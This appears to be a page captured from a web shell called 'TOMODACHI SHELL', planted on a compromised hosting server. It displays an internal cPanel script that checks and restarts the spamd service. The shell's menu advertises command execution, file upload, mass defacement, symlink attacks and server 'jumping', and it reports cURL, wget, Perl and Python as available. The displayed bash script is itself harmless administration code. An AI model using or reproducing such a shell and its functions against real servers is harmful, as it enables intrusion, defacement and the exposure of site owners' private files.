TOMODACHI SHELL

Free Palestine !! - Free Gaza !!


 
OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /opt/managed_servers/scripts/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : //opt/managed_servers/scripts/spamd.sh
readonly SPAMD_CHECK_DATA="${BACKGROUND_DATA}/spamd_check.data";
readonly SPAMD_CHECK_ERRORS="${BACKGROUND_DATA}/spamd_check.errors";

spamd_check_main(){

        local spamd_initial_status="$(/scripts/restartsrv_spamd --status 2>&1)";
        local spamd_restart;

        declare -A spamd_data;

        local disabled="$(grep spamd:1 /etc/chkserv.d/chkservd.conf)";
        local disabled_in_tweak_settings="$(grep skipspamassassin=0 /var/cpanel/cpanel.config)"
        local inactive="service is down";
        local active="is running";

        if [[ -z "$disabled" && -z "$disabled_in_tweak_settings" ]]; then
                spamd_data[service_status]="$SERVICE_DISABLED";
                spamd_data[auto_fix_status]="$AUTO_FIX_NOPE";
        elif [[ "$spamd_initial_status" =~ "$active" ]]; then
                spamd_data[service_status]="$SERVICE_ACTIVE";
        elif [[ -n "$disabled" && -n "$disabled_in_tweak_settings" ]]; then
                /scripts/restartsrv_spamd --start 1>/dev/null 2>&1;

                spamd_restart="$(/scripts/restartsrv_spamd --status 2>&1)";

                if [[ "$spamd_restart" =~ "$inactive" ]]; then
                        spamd_data[service_status]="$SERVICE_DOWN";
                        spamd_data[auto_fix_status]="$AUTO_FIX_FAIL";
                else
                        spamd_data[service_status]="$SERVICE_ACTIVE";
                        spamd_data[auto_fix_status]="$AUTO_FIX_SUCCESS";
                fi;
        else
                spamd_data[chkservd_conf_spamd]="$(grep spamd /etc/chkserv.d/chkservd.conf)";
                spamd_data[tweak_settings_skipspamassassin]="$(grep skipspamassassin /var/cpanel/cpanel.config)";
                spamd_data[service_status]="$SERVICE_DOWN";
        fi;

        bash_arr_to_json spamd_data ${!spamd_data[@]} > "$SPAMD_CHECK_DATA";
}

spamd_check(){
        run_check_in_background "spamd_check_main" "$SPAMD_CHECK_DATA" "$SPAMD_CHECK_ERRORS"\
                "${CHECK_LOCKS_DIR}/${FUNCNAME}.lock";
}

TOMODACHI | Tempest Hacker